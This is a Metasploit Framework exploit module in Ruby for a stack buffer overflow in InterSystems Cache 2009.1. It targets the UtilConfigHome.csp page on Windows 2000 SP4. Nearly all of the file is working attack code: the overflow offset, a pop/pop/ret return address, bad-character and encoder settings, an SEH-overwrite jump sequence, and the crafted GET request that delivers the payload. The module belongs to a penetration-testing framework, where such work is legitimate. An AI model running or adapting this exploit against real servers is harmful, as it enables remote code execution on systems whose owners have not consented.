##
# $Id: intersystems_cache.rb 9797 2010-07-12 23:25:31Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	# XXX: Needs custom body check HttpFingerprint = { :uri => '/csp/sys/mgr/UtilConfigHome.csp', :body => [ /Cache for Windows/ ] }

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'InterSystems Cache UtilConfigHome.csp Argument Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in InterSystems Cache 2009.1.
				By sending a specially crafted GET request, an attacker may be able to execute
				arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9797 $',
			'References'     =>
				[
					[ 'OSVDB', '60549' ],
					[ 'BID', '37177' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 650,
					'BadChars' => "\x00\x3a\x26\x3f\x0c\x25\x23\x20\x0a\x0d\x09\x2f\x2b\x2e\x0b\x5c",
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 SP4 English', { 'Offset' => 710, 'Ret' => 0x6ff2791a } ], # libhttpd.dll 2.2.11.0 / pop ebp | pop ebx | ret
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Sep 29 2009')) # Initially...!

		register_options( [ Opt::RPORT(57772) ], self.class )
	end

	def exploit
		# offset to the seh frame.
		sploit =   payload.encoded + rand_text_alpha_upper(target['Offset'] - payload.encoded.length)
		# jmp $+6 | p/p/r
		sploit <<  Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')
		# fall into some nops, jmp back to our final payload.
		sploit <<  make_nops(8) + [0xe9, -700].pack('CV')
		# cause the av!
		sploit <<  rand_text_alpha_upper(payload.encoded.length)

		print_status("Trying target #{target.name}...")

		send_request_raw({
				'uri'          => '/csp/sys/mgr/UtilConfigHome.csp=' + sploit,
				'method'       => 'GET',
			}, 5)

		handler
	end
end
